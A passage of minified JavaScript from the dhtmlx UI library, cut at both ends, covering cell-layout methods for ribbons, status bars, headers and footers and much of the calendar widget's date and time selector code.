dhtmlXRibbon(a);this.dataNodes.ribbonEv=this.attachEvent(\"_onSetSizes\",function(){if(this.dataNodes.ribbonObj.style.display==\"none\"){return}this.dataNodes.ribbonObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.ribbonObj.style.marginTop=(this.dataNodes.haObj!=null||this.dataNodes.menuObj!=null?0:this.conf.ofs.t)+\"px\";this.dataNodes.ribbonObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\";this.dataNodes.ribbon.setSizes()});this.conf.ofs_nodes.t.ribbonObj=true;var c=this;this.dataNodes.ribbon.attachEvent(\"_onHeightChanged\",function(){c.setSizes()});this.setSizes();a.parnt=null;a=null;return this.dataNodes.ribbon};dhtmlXCellTop.prototype.detachRibbon=function(){if(this.dataNodes.ribbon==null){return}this.dataNodes.ribbon.unload();this.dataNodes.ribbon=null;this.dataNodes.ribbonObj.parentNode.removeChild(this.dataNodes.ribbonObj);this.dataNodes.ribbonObj=null;this.detachEvent(this.dataNodes.ribbonEv);this.dataNodes.ribbonEv=null;this.conf.ofs_nodes.t.ribbonObj=false;delete this.dataNodes.ribbon;delete this.dataNodes.ribbonObj;delete this.dataNodes.ribbonEv;if(!this.conf.unloading){this.setSizes()}};dhtmlXCellTop.prototype.attachStatusBar=function(a){if(this.dataNodes.sbObj){return}if(typeof(a)==\"undefined\"){a={}}this.dataNodes.sbObj=document.createElement(\"DIV\");this.dataNodes.sbObj.className=\"dhxcelltop_statusbar\";if(this.cont.nextSibling!=null){this.base.insertBefore(this.dataNodes.sbObj,this.cont.nextSibling)}else{this.base.appendChild(this.dataNodes.sbObj)}this.dataNodes.sbObj.innerHTML=\"<div class='dhxcont_statusbar'>\"+(typeof(a.text)==\"string\"&&a.text.length>0?a.text:\"&nbsp;\")+\"</div>\";if(typeof(a.height)==\"number\"){this.dataNodes.sbObj.firstChild.style.height=this.dataNodes.sbObj.firstChild.style.lineHeight=a.height+\"px\"}this.dataNodes.sbObj.setText=function(c){this.childNodes[0].innerHTML=c};this.dataNodes.sbObj.getText=function(){return this.childNodes[0].innerHTML};this.dataNodes.sbObj.onselectstart=function(c){return false};this.dataNodes.sbEv=this.attachEvent(\"_onSetSizes\",function(){if(this.dataNodes.sbObj.style.display==\"none\"){return}this.dataNodes.sbObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.sbObj.style.bottom=(this.dataNodes.faObj!=null?this.dataNodes.faObj.offsetHeight:0)+this.conf.ofs.t+\"px\";this.dataNodes.sbObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\"});this.conf.ofs_nodes.b.sbObj=true;this.setSizes();return this.dataNodes.sbObj};dhtmlXCellTop.prototype.detachStatusBar=function(){if(!this.dataNodes.sbObj){return}this.dataNodes.sbObj.setText=this.dataNodes.sbObj.getText=this.dataNodes.sbObj.onselectstart=null;this.dataNodes.sbObj.parentNode.removeChild(this.dataNodes.sbObj);this.dataNodes.sbObj=null;this.detachEvent(this.dataNodes.sbEv);this.dataNodes.sbEv=null;this.conf.ofs_nodes.b.sbObj=false;delete this.dataNodes.sb;delete this.dataNodes.sbObj;delete this.dataNodes.sbEv;if(!this.conf.unloading){this.setSizes()}};dhtmlXCellTop.prototype.showMenu=function(){this._mtbShowHide(\"menuObj\",\"\")};dhtmlXCellTop.prototype.hideMenu=function(){this._mtbShowHide(\"menuObj\",\"none\")};dhtmlXCellTop.prototype.showToolbar=function(){this._mtbShowHide(\"toolbarObj\",\"\")};dhtmlXCellTop.prototype.hideToolbar=function(){this._mtbShowHide(\"toolbarObj\",\"none\")};dhtmlXCellTop.prototype.showRibbon=function(){this._mtbShowHide(\"ribbonObj\",\"\")};dhtmlXCellTop.prototype.hideRibbon=function(){this._mtbShowHide(\"ribbonObj\",\"none\")};dhtmlXCellTop.prototype.showStatusBar=function(){this._mtbShowHide(\"sbObj\",\"\")};dhtmlXCellTop.prototype.hideStatusBar=function(){this._mtbShowHide(\"sbObj\",\"none\")};dhtmlXCellTop.prototype._mtbShowHide=function(c,a){if(this.dataNodes[c]==null){return}this.dataNodes[c].style.display=a;this.setSizes()};dhtmlXCellTop.prototype._mtbUnload=function(c,a){this.detachMenu();this.detachToolbar();this.detachStatusBar();this.detachRibbon()};dhtmlXCellTop.prototype.getAttachedMenu=function(){return this.dataNodes.menu};dhtmlXCellTop.prototype.getAttachedToolbar=function(){return this.dataNodes.toolbar};dhtmlXCellTop.prototype.getAttachedRibbon=function(){return this.dataNodes.ribbon};dhtmlXCellTop.prototype.getAttachedStatusBar=function(){return this.dataNodes.sbObj};dhtmlXCellTop.prototype.progressOn=function(){if(this.conf.progress){return}this.conf.progress=true;var c=document.createElement(\"DIV\");c.className=\"dhxcelltop_progress\";this.base.appendChild(c);var a=document.createElement(\"DIV\");a.className=\"dhxcelltop_progress_img\";this.base.appendChild(a);c=a=null};dhtmlXCellTop.prototype.progressOff=function(){if(!this.conf.progress){return}var g={dhxcelltop_progress:true,dhxcelltop_progress_img:true};for(var e=0;e<this.base.childNodes.length;e++){if(typeof(this.base.childNodes[e].className)!=\"undefined\"&&g[this.base.childNodes[e].className]==true){g[this.base.childNodes[e].className]=this.base.childNodes[e]}}for(var c in g){if(g[c]!=true){this.base.removeChild(g[c])}g[c]=null}this.conf.progress=false;g=null};dhtmlXCellTop.prototype.attachHeader=function(c,a){if(this.dataNodes.haObj!=null){return}if(typeof(c)!=\"object\"){c=document.getElementById(c)}this.dataNodes.haObj=document.createElement(\"DIV\");this.dataNodes.haObj.className=\"dhxcelltop_hdr\";this.dataNodes.haObj.style.height=(a||c.offsetHeight)+\"px\";this.base.insertBefore(this.dataNodes.haObj,this.dataNodes.menuObj||this.dataNodes.toolbarObj||this.cont);this.dataNodes.haObj.appendChild(c);c.style.visibility=\"visible\";c=null;this.dataNodes.haEv=this.attachEvent(\"_onSetSizes\",function(){this.dataNodes.haObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.haObj.style.marginTop=this.conf.ofs.t+\"px\";this.dataNodes.haObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\"});this.conf.ofs_nodes.t.haObj=true;this.setSizes()};dhtmlXCellTop.prototype.detachHeader=function(){if(!this.dataNodes.haObj){return}while(this.dataNodes.haObj.childNodes.length>0){this.dataNodes.haObj.lastChild.style.visibility=\"hidden\";document.body.appendChild(this.dataNodes.haObj.lastChild)}this.dataNodes.haObj.parentNode.removeChild(this.dataNodes.haObj);this.dataNodes.haObj=null;this.detachEvent(this.dataNodes.haEv);this.dataNodes.haEv=null;this.conf.ofs_nodes.t.haObj=false;delete this.dataNodes.haEv;delete this.dataNodes.haObj;if(!this.conf.unloading){this.setSizes()}};dhtmlXCellTop.prototype.attachFooter=function(e,a){if(this.dataNodes.faObj!=null){return}if(typeof(e)!=\"object\"){e=document.getElementById(e)}this.dataNodes.faObj=document.createElement(\"DIV\");this.dataNodes.faObj.className=\"dhxcelltop_ftr\";this.dataNodes.faObj.style.height=(a||e.offsetHeight)+\"px\";var c=(this.dataNodes.sbObj||this.cont);if(this.base.lastChild==c){this.base.appendChild(this.dataNodes.faObj)}else{this.base.insertBefore(this.dataNodes.faObj,c.nextSibling)}this.dataNodes.faEv=this.attachEvent(\"_onSetSizes\",function(){this.dataNodes.faObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.faObj.style.bottom=this.conf.ofs.b+\"px\";this.dataNodes.faObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\"});this.dataNodes.faObj.appendChild(e);e.style.visibility=\"visible\";c=e=null;this.conf.ofs_nodes.b.faObj=true;this.setSizes()};dhtmlXCellTop.prototype.detachFooter=function(){if(!this.dataNodes.faObj){return}while(this.dataNodes.faObj.childNodes.length>0){this.dataNodes.faObj.lastChild.style.visibility=\"hidden\";document.body.appendChild(this.dataNodes.faObj.lastChild)}this.dataNodes.faObj.parentNode.removeChild(this.dataNodes.faObj);this.dataNodes.faObj=null;this.detachEvent(this.dataNodes.faEv);this.dataNodes.faEv=null;this.conf.ofs_nodes.b.faObj=false;delete this.dataNodes.faEv;delete this.dataNodes.faObj;if(!this.conf.unloading){this.setSizes()}};function dhtmlXCalendarObject(l,s){this.i={};var e=null;if(typeof(l)==\"string\"){var g=document.getElementById(l)}else{var g=l}if(g&&typeof(g)==\"object\"&&g.tagName&&String(g.tagName).toLowerCase()!=\"input\"){e=g}g=null;if(typeof(l)!=\"object\"||!l.length){l=[l]}for(var c=0;c<l.length;c++){if(typeof(l[c])==\"string\"){l[c]=(document.getElementById(l[c])||null)}if(l[c]!=null&&l[c].tagName&&String(l[c].tagName).toLowerCase()==\"input\"){this.i[window.dhx4.newId()]={input:l[c]}}else{if(!(l[c] instanceof Array)&&l[c] instanceof Object&&(l[c].input!=null||l[c].button!=null)){if(l[c].input!=null&&typeof(l[c].input)==\"string\"){l[c].input=document.getElementById(l[c].input)}if(l[c].button!=null&&typeof(l[c].button)==\"string\"){l[c].button=document.getElementById(l[c].button)}this.i[window.dhx4.newId()]=l[c]}}l[c]=null}this.conf={skin:(s||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhtmlxcalendar\")||\"dhx_skyblue\"),zi:window.dhx4.newId(),touch:!window.dhx4.isIE,ws_first:true};this.setSkin=function(q,a){if(this.conf.skin==q&&!a){return}this.conf.skin=q;this.base.className=\"dhtmlxcalendar_\"+this.conf.skin;this._ifrSize()};this.base=document.createElement(\"DIV\");this.base.style.display=\"none\";this.base.appendChild(document.createElement(\"DIV\"));if(e!=null){this._hasParent=true;e.appendChild(this.base);e=null}else{document.body.appendChild(this.base)}this.setParent=function(a){if(this._hasParent){if(typeof(a)==\"object\"){a.appendChild(this.base)}else{if(typeof(a)==\"string\"){document.getElementById(a).appendChild(this.base)}}}};this.setSkin(this.conf.skin,true);this.base.onclick=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}a.cancelBubble=true};this.base.onmousedown=function(){return false};if(this.conf.touch){this.base.ontouchstart=this.base.onclick}this.loadUserLanguage=function(x){if(!this.langData[x]){return}this.lang=x;this.setWeekStartDay(this.langData[this.lang].weekstart);this.setDateFormat(this.langData[this.lang].dateformat||\"%Y-%m-%d\");if(this.msCont){var v=0;for(var u=0;u<this.msCont.childNodes.length;u++){for(var a=0;a<this.msCont.childNodes[u].childNodes.length;a++){this.msCont.childNodes[u].childNodes[a].innerHTML=this.langData[this.lang].monthesSNames[v++]}}}};this.contMonth=document.createElement(\"DIV\");this.contMonth.className=\"dhtmlxcalendar_month_cont\";this.contMonth.onselectstart=function(a){a=a||event;a.cancelBubble=true;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};this.base.firstChild.appendChild(this.contMonth);var m=document.createElement(\"UL\");m.className=\"dhtmlxcalendar_line\";this.contMonth.appendChild(m);var r=document.createElement(\"LI\");r.className=\"dhtmlxcalendar_cell dhtmlxcalendar_month_hdr\";r.innerHTML=\"<div class='dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_left' onmouseover='this.className=\\\"dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_left_hover\\\";' onmouseout='this.className=\\\"dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_left\\\";'></div><span></span><div class='dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_right' onmouseover='this.className=\\\"dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_right_hover\\\";' onmouseout='this.className=\\\"dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_right\\\";'></div>\";m.appendChild(r);var h=this;r.onclick=function(v){v=v||event;if(v.type==\"touchstart\"&&v.preventDefault!=null){v.preventDefault()}var q=(v.target||v.srcElement);if(q.className&&q.className.indexOf(\"dhtmlxcalendar_month_arrow\")===0){h._hideSelector();var u=(q.parentNode.firstChild==q?-1:1);var a=new Date(h._activeMonth);h._drawMonth(new Date(h._activeMonth.getFullYear(),h._activeMonth.getMonth()+u,1,0,0,0,0));h._evOnArrowClick([a,new Date(h._activeMonth)]);return}if(q.className&&q.className==\"dhtmlxcalendar_month_label_month\"){v.cancelBubble=true;h._showSelector(\"month\",Math.round(q.offsetLeft+q.offsetWidth/2),q.offsetTop+q.offsetHeight+2,\"selector_month\",true);return}if(q.className&&q.className==\"dhtmlxcalendar_month_label_year\"){v.cancelBubble=true;h._showSelector(\"year\",Math.round(q.offsetLeft+q.offsetWidth/2),q.offsetTop+q.offsetHeight+2,\"selector_year\",true);return}h._hideSelector()};if(this.conf.touch==true){r.ontouchstart=r.onclick}this.contDays=document.createElement(\"DIV\");this.contDays.className=\"dhtmlxcalendar_days_cont\";this.base.firstChild.appendChild(this.contDays);this.setWeekStartDay=function(a){if(a==0){a=7}this._wStart=Math.min(Math.max((isNaN(a)?1:a),1),7);this._drawDaysOfWeek()};this._drawDaysOfWeek=function(){if(this.contDays.childNodes.length==0){var x=document.createElement(\"UL\");x.className=\"dhtmlxcalendar_line\";this.contDays.appendChild(x)}else{var x=this.contDays.firstChild}var u=this._wStart;var v=this.langData[this.lang].daysSNames;v.push(String(this.langData[this.lang].daysSNames[0]).valueOf());for(var y=0;y<8;y++){if(x.childNodes[y]==null){var a=document.createElement(\"LI\");x.appendChild(a)}else{var a=x.childNodes[y]}if(y==0){a.className=\"dhtmlxcalendar_cell_wn\";a.innerHTML=\"<div class='dhtmlxcalendar_label'>\"+(this.langData[this.lang].weekname||\"w\")+\"</div>\"}else{a.className=\"dhtmlxcalendar_cell\"+(u>=6?\" dhtmlxcalendar_day_weekday_cell\":\"\")+(y==1?\"_first\":\"\");a.innerHTML=v[u];if(++u>7){u=1}}}if(this._activeMonth!=null){this._drawMonth(this._activeMonth)}};this._wStart=this.langData[this.lang].weekstart;this.setWeekStartDay(this._wStart);this.contDates=document.createElement(\"DIV\");this.contDates.className=\"dhtmlxcalendar_dates_cont\";this.base.firstChild.appendChild(this.contDates);this.contDates.onclick=function(x){x=x||event;if(x.type==\"touchstart\"&&x.preventDefault!=null){x.preventDefault()}var q=(x.target||x.srcElement);if(q.parentNode!=null&&q.parentNode._date!=null){q=q.parentNode}if(q._date!=null&&!q._css_dis){var v=h._activeDate.getHours();var u=h._activeDate.getMinutes();var w=q._date;if(h.checkEvent(\"onBeforeChange\")){if(!h.callEvent(\"onBeforeChange\",[new Date(q._date.getFullYear(),q._date.getMonth(),q._date.getDate(),v,u)])){return}}if(h._activeDateCell!=null){h._activeDateCell._css_date=false;h._updateCellStyle(h._activeDateCell._q,h._activeDateCell._w)}var a=(h._activeDate.getFullYear()+\"_\"+h._activeDate.getMonth()!=w.getFullYear()+\"_\"+w.getMonth());h._nullDate=false;h._activeDate=new Date(w.getFullYear(),w.getMonth(),w.getDate(),v,u);h._activeDateCell=q;h._activeDateCell._css_date=true;h._activeDateCell._css_hover=false;h._updateCellStyle(h._activeDateCell._q,h._activeDateCell._w);if(a){h._drawMonth(h._activeDate)}if(h._activeInp&&h.i[h._activeInp]&&h.i[h._activeInp].input!=null){h.i[h._activeInp].input.value=h._dateToStr(new Date(h._activeDate.getTime()))}if(!h._hasParent){if(x.type==\"touchstart\"){window.setTimeout(function(){h._hide()},400)}else{h._hide()}}h._evOnClick([new Date(h._activeDate.getTime())])}};if(this.conf.touch==true){this.contDates.ontouchstart=this.contDates.onclick}this.contDates.onmouseover=function(q){q=q||event;var a=(q.target||q.srcElement);if(a.parentNode!=null&&a.parentNode._date!=null){a=a.parentNode}if(a._date!=null){if(h._lastHover==a||a._css_hover){return}a._css_hover=true;h._updateCellStyle(a._q,a._w);h._lastHover=a;h._evOnMouseOver([new Date(a._date.getFullYear(),a._date.getMonth(),a._date.getDate(),0,0,0,0),q]);a=null}};this.contDates.onmouseout=function(a){h._clearDayHover(a||event)};this._lastHover=null;this._clearDayHover=function(a){if(!this._lastHover){return}this._lastHover._css_hover=false;this._updateCellStyle(this._lastHover._q,this._lastHover._w);h._evOnMouseOut([new Date(this._lastHover._date.getFullYear(),this._lastHover._date.getMonth(),this._lastHover._date.getDate(),0,0,0,0),a]);this._lastHover=null};for(var c=0;c<6;c++){var m=document.createElement(\"UL\");m.className=\"dhtmlxcalendar_line\";this.contDates.appendChild(m);for(var o=0;o<=7;o++){var r=document.createElement(\"LI\");if(o==0){r.className=\"dhtmlxcalendar_cell_wn\"}else{r.className=\"dhtmlxcalendar_cell\"}m.appendChild(r)}}this.contTime=document.createElement(\"DIV\");this.contTime.className=\"dhtmlxcalendar_time_cont\";this.base.firstChild.appendChild(this.contTime);this.showTime=function(){this.contTime.style.display=\"\";this._ifrSize()};this.hideTime=function(){this.contTime.style.display=\"none\";this._ifrSize()};var m=document.createElement(\"UL\");m.className=\"dhtmlxcalendar_line\";this.contTime.appendChild(m);var r=document.createElement(\"LI\");r.className=\"dhtmlxcalendar_cell dhtmlxcalendar_time_hdr\";r.innerHTML=\"<div class='dhtmlxcalendar_time_img'></div><span class='dhtmlxcalendar_label_hours'></span><span class='dhtmlxcalendar_label_colon'> : </span><span class='dhtmlxcalendar_label_minutes'></span>\";m.appendChild(r);r.onclick=function(u){u=u||event;if(u.type==\"touchstart\"&&u.preventDefault!=null){u.preventDefault()}var a=(u.target||u.srcElement);if(a.tagName!=null&&a.tagName.toLowerCase()==\"span\"&&a._par==true&&a.parentNode!=null){a=a.parentNode}if(a.className&&a.className==\"dhtmlxcalendar_label_hours\"){u.cancelBubble=true;var q=h.contMonth.offsetHeight+h.contDays.offsetHeight+h.contDates.offsetHeight+a.offsetTop;h._showSelector(\"hours\",Math.round(a.offsetLeft+a.offsetWidth/2),q-2,\"selector_hours\",true);return}if(a.className&&a.className==\"dhtmlxcalendar_label_minutes\"){u.cancelBubble=true;if(h._minutesInterval==1){var v=h.getFormatedDate(\"%i\");a.innerHTML=\"<span class='dhtmlxcalendar_selected_date'>\"+v.charAt(0)+\"</span>\"+v.charAt(1);a.firstChild._par=true;h._selectorMode=1}var q=h.contMonth.offsetHeight+h.contDays.offsetHeight+h.contDates.offsetHeight+a.offsetTop;h._showSelector(\"minutes\",Math.round(a.offsetLeft+a.offsetWidth/2),q-2,\"selector_minutes\",true);return}h._hideSelector()};if(this.conf.touch==true){r.ontouchstart=r.onclick}this._activeMonth=null;this._activeDate=new Date();this._activeDateCell=null;this.setDate=function(q){window.dhx4.temp_calendar={tz:null};this._nullDate=(typeof(q)==\"undefined\"||q===\"\"||!q);if(!(q instanceof Date)){q=this._strToDate(String(q||\"\"));if(q==\"Invalid Date\"){q=new Date()}else{this.conf.tz=window.dhx4.temp_calendar.tz}window.dhx4.temp_calendar=null}if(this.conf.tz==null){this.conf.tz=window.dhx4.date2str(q,\"%P\")}var a=q.getTime();if(this._isOutOfRange(a)){return}this._activeDate=new Date(a);this._drawMonth(this._nullDate?new Date():this._activeDate);this._updateVisibleHours();this._updateVisibleMinutes()};this.getDate=function(u){if(this._nullDate){return null}var a=new Date(this._activeDate.getTime());if(u){window.dhx4.temp_calendar={tz:this.conf.tz};var q=this._dateToStr(a);window.dhx4.temp_calendar=null;return q}return a};this._drawMonth=function(F){if(!(F instanceof Date)){return}if(isNaN(F.getFullYear())){F=new Date(this._activeMonth.getFullYear(),this._activeMonth.getMonth(),1,0,0,0,0)}this._activeMonth=new Date(F.getFullYear(),F.getMonth(),1,0,0,0,0);this._activeDateCell=null;var D=new Date(this._activeMonth.getTime());var v=D.getDay();var J=v-this._wStart;if(J<0){J=J+7}D.setDate(D.getDate()-J);var M=F.getMonth();var N=new Date(this._activeDate.getFullYear(),this._activeDate.getMonth(),this._activeDate.getDate(),0,0,0,0).getTime();var A=0;for(var u=0;u<6;u++){var E=this._wStart;for(var L=0;L<=7;L++){if(L==0){var K=this.getWeekNumber(new Date(D.getFullYear(),D.getMonth(),D.getDate()+A,0,0,0,0));if(K>=52&&this.conf.ws_first==true&&this._activeMonth.getMonth()==0){var y=this.getWeekNumber(new Date(D.getFullYear(),D.getMonth(),D.getDate()+A+7,0,0,0,0));if(y<K&&y>1){K=1}}this.contDates.childNodes[u].childNodes[L].innerHTML=\"<div class='dhtmlxcalendar_label'>\"+K+\"</div>\"}else{var a=new Date(D.getFullYear(),D.getMonth(),D.getDate()+A,0,0,0,0);if(a.getHours()!=0){var C=(a.getHours()>12?24-a.getHours():a.getHours());a.setTime(a.getTime()+60*60*1000*C)}var I=a.getDay();var x=a.getTime();var H=\"dhtmlxcalendar_label\";if(this._tipData[x]!=null){if(this._tipData[x].usePopup&&typeof(window.dhtmlXPopup)==\"function\"){this.contDates.childNodes[u].childNodes[L].removeAttribute(\"title\");this._initTooltipPopup()}else{this.contDates.childNodes[u].childNodes[L].setAttribute(\"title\",this._tipData[x].text)}if(this._tipData[x].showIcon){H+=\" dhtmlxcalendar_label_title\"}}else{this.contDates.childNodes[u].childNodes[L].removeAttribute(\"title\")}this.contDates.childNodes[u].childNodes[L].innerHTML=\"<div class='\"+H+\"'>\"+a.getDate()+\"</div>\";this.contDates.childNodes[u].childNodes[L]._date=new Date(x);this.contDates.childNodes[u].childNodes[L]._q=u;this.contDates.childNodes[u].childNodes[L]._w=L;this.contDates.childNodes[u].childNodes[L]._css_month=(a.getMonth()==M);this.contDates.childNodes[u].childNodes[L]._css_date=(!this._nullDate&&x==N);this.contDates.childNodes[u].childNodes[L]._css_weekend=(E>=6);this.contDates.childNodes[u].childNodes[L]._css_dis=this._isOutOfRange(x);this.contDates.childNodes[u].childNodes[L]._css_holiday=(this._holidays[x]==true);this._updateCellStyle(u,L);if(x==N){this._activeDateCell=this.contDates.childNodes[u].childNodes[L]}if(++E>7){E=1}A++}}}this.contMonth.firstChild.firstChild.childNodes[1].innerHTML=this._buildMonthHdr(F)};this._updateCellStyle=function(x,a){var v=this.contDates.childNodes[x].childNodes[a];var u=\"dhtmlxcalendar_cell dhtmlxcalendar_cell\";u+=(v._css_month?\"_month\":\"\");u+=(v._css_date?\"_date\":\"\");u+=(v._css_weekend?\"_weekend\":\"\");u+=(v._css_holiday?\"_holiday\":\"\");u+=(v._css_dis?\"_dis\":\"\");u+=(v._css_hover&&!v._css_dis?\"_hover\":\"\");v.className=u;v=null};this._minutesInterval=5;this._initSelector=function(D,x){if(!this._selCover){this._selCover=document.createElement(\"DIV\");this._selCover.className=\"dhtmlxcalendar_selector_cover\";this.base.firstChild.appendChild(this._selCover)}if(!this._sel){this._sel=document.createElement(\"DIV\");this._sel.className=\"dhtmlxcalendar_selector_obj\";this.base.firstChild.appendChild(this._sel);this._sel.appendChild(document.createElement(\"TABLE\"));this._sel.firstChild.className=\"dhtmlxcalendar_selector_table\";this._sel.firstChild.cellSpacing=0;this._sel.firstChild.cellPadding=0;this._sel.firstChild.border=0;this._sel.firstChild.appendChild(document.createElement(\"TBODY\"));this._sel.firstChild.firstChild.appendChild(document.createElement(\"TR\"));this._sel.firstChild.firstChild.firstChild.appendChild(document.createElement(\"TD\"));this._sel.firstChild.firstChild.firstChild.appendChild(document.createElement(\"TD\"));this._sel.firstChild.firstChild.firstChild.appendChild(document.createElement(\"TD\"));this._sel.firstChild.firstChild.firstChild.childNodes[0].className=\"dhtmlxcalendar_selector_cell_left\";this._sel.firstChild.firstChild.firstChild.childNodes[1].className=\"dhtmlxcalendar_selector_cell_middle\";this._sel.firstChild.firstChild.firstChild.childNodes[2].className=\"dhtmlxcalendar_selector_cell_right\";this._sel.firstChild.firstChild.firstChild.childNodes[0].innerHTML=\"&nbsp;\";this._sel.firstChild.firstChild.firstChild.childNodes[2].innerHTML=\"&nbsp;\";this._sel.firstChild.firstChild.firstChild.childNodes[0].onmouseover=function(){this.className=\"dhtmlxcalendar_selector_cell_left dhtmlxcalendar_selector_cell_left_hover\"};this._sel.firstChild.firstChild.firstChild.childNodes[0].onmouseout=function(){this.className=\"dhtmlxcalendar_selector_cell_left\"};this._sel.firstChild.firstChild.firstChild.childNodes[2].onmouseover=function(){this.className=\"dhtmlxcalendar_selector_cell_right dhtmlxcalendar_selector_cell_right_hover\"};this._sel.firstChild.firstChild.firstChild.childNodes[2].onmouseout=function(){this.className=\"dhtmlxcalendar_selector_cell_right\"};this._sel.onmouseover=function(w){w=w||event;var q=(w.target||w.srcElement);if(q._cell===true){if(h._selHover!=q){h._clearSelHover()}if(String(q.className).match(/^\\s{0,}dhtmlxcalendar_selector_cell\\s{0,}$/gi)!=null){q.className+=\" dhtmlxcalendar_selector_cell_hover\";h._selHover=q}}};this._sel.onmouseout=function(){h._clearSelHover()};this._sel.firstChild.firstChild.firstChild.childNodes[0].onclick=function(q){q=q||event;if(q.type==\"touchstart\"&&q.preventDefault!=null){q.preventDefault()}q.cancelBubble=true;h._scrollYears(-1)};this._sel.firstChild.firstChild.firstChild.childNodes[2].onclick=function(q){q=q||event;if(q.type==\"touchstart\"&&q.preventDefault!=null){q.preventDefault()}q.cancelBubble=true;h._scrollYears(1)};if(this.conf.touch==true){this._sel.firstChild.firstChild.firstChild.childNodes[0].ontouchstart=this._sel.firstChild.firstChild.firstChild.childNodes[0].onclick;this._sel.firstChild.firstChild.firstChild.childNodes[2].ontouchstart=this._sel.firstChild.firstChild.firstChild.childNodes[2].onclick}this._sel._ta={};this._selHover=null;this._sel.appendChild(document.createElement(\"DIV\"));this._sel.lastChild.className=\"dhtmlxcalendar_selector_obj_arrow\"}if(this._sel._ta[D]==true){return}if(D==\"month\"){this._msCells={};this.msCont=document.createElement(\"DIV\");this.msCont.className=\"dhtmlxcalendar_area_\"+x;this._sel.firstChild.firstChild.firstChild.childNodes[1].appendChild(this.msCont);var u=0;for(var a=0;a<4;a++){var C=document.createElement(\"UL\");C.className=\"dhtmlxcalendar_selector_line\";this.msCont.appendChild(C);for(var E=0;E<3;E++){var F=document.createElement(\"LI\");F.innerHTML=this.langData[this.lang].monthesSNames[u];F.className=\"dhtmlxcalendar_selector_cell\";C.appendChild(F);F._month=u;F._cell=true;this._msCells[u++]=F}}this.msCont.onclick=function(w){w=w||event;if(w.type==\"touchstart\"&&w.preventDefault!=null){w.preventDefault()}w.cancelBubble=true;var q=(w.target||w.srcElement);if(q._month!=null){h._hideSelector();h._updateActiveMonth();h._drawMonth(new Date(h._activeMonth.getFullYear(),q._month,1,0,0,0,0));h._doOnSelectorChange()}};if(this.conf.touch==true){this.msCont.ontouchstart=this.msCont.onclick}}if(D==\"year\"){this._ysCells={};this.ysCont=document.createElement(\"DIV\");this.ysCont.className=\"dhtmlxcalendar_area_\"+x;this._sel.firstChild.firstChild.firstChild.childNodes[1].appendChild(this.ysCont);for(var a=0;a<4;a++){var C=document.createElement(\"UL\");C.className=\"dhtmlxcalendar_selector_line\";this.ysCont.appendChild(C);for(var E=0;E<3;E++){var F=document.createElement(\"LI\");F.className=\"dhtmlxcalendar_selector_cell\";F._cell=true;C.appendChild(F)}}this.ysCont.onclick=function(w){w=w||event;if(w.type==\"touchstart\"&&w.preventDefault!=null){w.preventDefault()}w.cancelBubble=true;var q=(w.target||w.srcElement);if(q._year!=null){h._hideSelector();h._drawMonth(new Date(q._year,h._activeMonth.getMonth(),1,0,0,0,0));h._doOnSelectorChange()}};if(this.conf.touch==true){this.ysCont.ontouchstart=this.ysCont.onclick}}if(D==\"hours\"){this._hsCells={};this.hsCont=document.createElement(\"DIV\");this.hsCont.className=\"dhtmlxcalendar_area_\"+x;this._sel.firstChild.firstChild.firstChild.childNodes[1].appendChild(this.hsCont);var u=0;for(var a=0;a<4;a++){var C=document.createElement(\"UL\");C.className=\"dhtmlxcalendar_selector_line\";this.hsCont.appendChild(C);for(var E=0;E<6;E++){var F=document.createElement(\"LI\");F.innerHTML=this._fixLength(u,2);F.className=\"dhtmlxcalendar_selector_cell\";C.appendChild(F);F._hours=u;F._cell=true;this._hsCells[u++]=F}}this.hsCont.onclick=function(w){w=w||event;if(w.type==\"touchstart\"&&w.preventDefault!=null){w.preventDefault()}w.cancelBubble=true;var q=(w.target||w.srcElement);if(q._hours!=null){h._hideSelector();h._activeDate.setHours(q._hours);h._updateActiveHours();h._updateVisibleHours();h._doOnSelectorChange();h.callEvent(\"onTimeChange\",[new Date(h._activeDate.getTime())])}};if(this.conf.touch==true){this.hsCont.ontouchstart=this.hsCont.onclick}}if(D==\"minutes\"){var A=4;var v=3;var y=2;if(this._minutesInterval==1){if(this._selectorMode==1){A=2;v=3;y=1}else{A=2;v=5;y=1;x+=\"5\"}}if(this._minutesInterval==10){A=2}if(this._minutesInterval==15){A=1;v=4;x+=\"4\"}this._rsCells={};this.rsCont=document.createElement(\"DIV\");this.rsCont.className=\"dhtmlxcalendar_area_\"+x;this._sel.firstChild.firstChild.firstChild.childNodes[1].appendChild(this.rsCont);var u=0;for(var a=0;a<A;a++){var C=document.createElement(\"UL\");C.className=\"dhtmlxcalendar_selector_line\";this.rsCont.appendChild(C);for(var E=0;E<v;E++){var F=document.createElement(\"LI\");F.innerHTML=(y>1?this._fixLength(u,y):u);F.className=\"dhtmlxcalendar_selector_cell\";C.appendChild(F);F._minutes=u;F._cell=true;this._rsCells[u]=F;u+=this._minutesInterval}}this.rsCont.onclick=function(H){H=H||event;if(H.type==\"touchstart\"&&H.preventDefault!=null){H.preventDefault()}H.cancelBubble=true;var w=(H.target||H.srcElement);if(w._minutes!=null){if(h._minutesInterval==1){var q=h.getFormatedDate(\"%i\");if(h._selectorMode==1){q=w._minutes.toString()+q.charAt(1)}else{q=q.charAt(0)+w._minutes.toString()}h._activeDate.setMinutes(Number(q));h.callEvent(\"onTimeChange\",[new 